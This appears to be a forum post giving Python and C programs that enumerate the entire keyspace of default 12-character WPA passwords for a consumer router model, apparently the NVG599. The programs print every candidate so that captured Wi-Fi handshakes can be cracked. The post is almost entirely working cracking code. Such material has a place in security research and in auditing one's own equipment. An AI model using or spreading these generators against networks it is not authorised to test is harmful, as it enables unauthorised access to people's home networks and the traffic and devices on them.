Keyspace List for WPA on Default Routers

Code:

#!/usr/bin/env python



# author: philsmd

# date: July 2017

# license: public domain

# full credits go to mrfancypants for the actual/original contribution



# to check if a password candidate is within the set:

# python nvg599.py | grep '^b=+#gc5q'



pw_charset = 'abcdefghijkmnpqrstuvwxyz23456789#%+=?'



# helper function (the actual password generator):



def pwgen (x):

  x *= 2 ** 32 + 2

  x  = int (float (x))



  pw = ''



  for n in range (0, 12):

    rem  = x



    rem %= 37

    x   /= 37



    pw = pw_charset[rem] + pw



  return pw





# start:



x = 0



while x <= 0x7fffffff:

  print pwgen (x)

  x += 1

Code:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <stdint.h>



/*

 * author: philsmd

 * date: July 2017

 * license: public domain

 * full credits go to mrfancypants for the actual/original contribution

 */



typedef uint8_t  u8;

typedef uint32_t u32;

typedef uint64_t u64;



const static u8 PW_CHARSET[] = "abcdefghijkmnpqrstuvwxyz23456789#%+=?";



#define PW_LENGTH   12

#define LINE_LENGTH (PW_LENGTH + 1)



#define OUTBUFSZ    BUFSIZ

#define EXTRA_BYTES 0x100



#if !defined MIN

  #define MIN(x,y) (((u32) x < (u32) y) ? (u32) x : (u32) y)

#endif



int main ()

{

  /*

   * Initialize output file and I/O buffering

   */



  #ifdef WINDOWS

  setmode (fileno (stdout), O_BINARY);

  setmode (fileno (stderr), O_BINARY);

  #endif



  FILE *fp_out = stdout;



  setbuf (fp_out, NULL);



  /*

   * Initialize output buffer

   */



  u8 buf[OUTBUFSZ + EXTRA_BYTES];



  u32 cur_buffer_len = 0;



  /*

   * Initialize password buffer

   */



  u8 pw[LINE_LENGTH] = { 0 };



  pw[PW_LENGTH] = '\n'; // new lines are needed too



  /*

   * start

   */



  for (u64 i = 0; i <= 0x7fffffff; i++)

  {

    u64 x = (double) (i * ((1l << 32) + 2));



    for (int n = PW_LENGTH - 1; n >= 0; n--, x /= 37)

    {

      pw[n] = PW_CHARSET[x % 37];

    }





    // copy the password (pw) to the output buffer:



    u32 copy_size = MIN (LINE_LENGTH, OUTBUFSZ - cur_buffer_len);



    memcpy (buf + cur_buffer_len, pw, copy_size);



    cur_buffer_len += copy_size;



    if (cur_buffer_len < OUTBUFSZ) continue;





    // buffer is full, write to the output file:



    fwrite (buf, 1, OUTBUFSZ, fp_out);





    // reset buffer length and copy the remaining bytes:



    cur_buffer_len = LINE_LENGTH - copy_size;



    memcpy (buf, pw + copy_size, cur_buffer_len);

  }





  // we must guarantee that we also write the final buffer to the file:



  fwrite (buf, 1, cur_buffer_len, fp_out);





  // close the file:



  fclose (fp_out);



  return 0;

}